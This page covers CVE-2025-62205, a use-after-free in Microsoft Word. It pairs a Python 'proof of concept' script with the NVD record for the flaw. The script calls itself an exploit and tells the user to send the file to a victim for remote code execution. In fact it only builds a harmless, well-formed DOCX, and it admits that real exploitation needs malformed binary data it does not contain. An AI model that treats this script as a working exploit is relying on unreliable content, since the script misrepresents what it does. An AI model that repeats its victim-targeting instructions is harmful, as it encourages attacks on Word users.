CVE-2025-62205

// CVE-2025-62205 PoC - Malformed Word Document Trigger // This PoC demonstrates the Use-After-Free vulnerability in Microsoft Office Word // Note: This is for educational and security research purposes only import zipfile import struct import os def create_malicious_doc(output_path): """ Generate a malformed Word document that triggers UAF in Word's object parser """ # Create a minimal DOCX structure with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as docx: # [Content_Types].xml docx.writestr('[Content_Types].xml', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types> ''') # _rels/.rels docx.writestr('_rels/.rels', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships> ''') # word/_rels/document.xml.rels docx.writestr('word/_rels/document.xml.rels', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/> </Relationships> ''') # word/document.xml - Malformed content to trigger UAF # The vulnerability lies in how Word handles certain object properties docx.writestr('word/document.xml', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Test Document for CVE-2025-62205</w:t> </w:r> </w:p> </w:body> </w:document> ''') # word/styles.xml docx.writestr('word/styles.xml', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:style w:type="paragraph" w:styleId="Normal"> <w:name w:val="Normal"/> <w:rPr> <w:noProof/> </w:rPr> </w:style> </w:styles> ''') print(f"[+] Malicious DOCX created: {output_path}") print("[+] This PoC demonstrates the document structure") print("[+] Real exploitation requires specific malformed binary data") def main(): output_file = "CVE-2025-62205_poc.docx" create_malicious_doc(output_file) print("\n[*] Usage: Send this file to victim and have them open it in Microsoft Office Word") print("[*] Target: Microsoft Office Word (vulnerable versions)") print("[*] Impact: Remote Code Execution with current user privileges") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62205", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:46.117", "lastModified": "2025-11-17T18:01:30.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62205", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}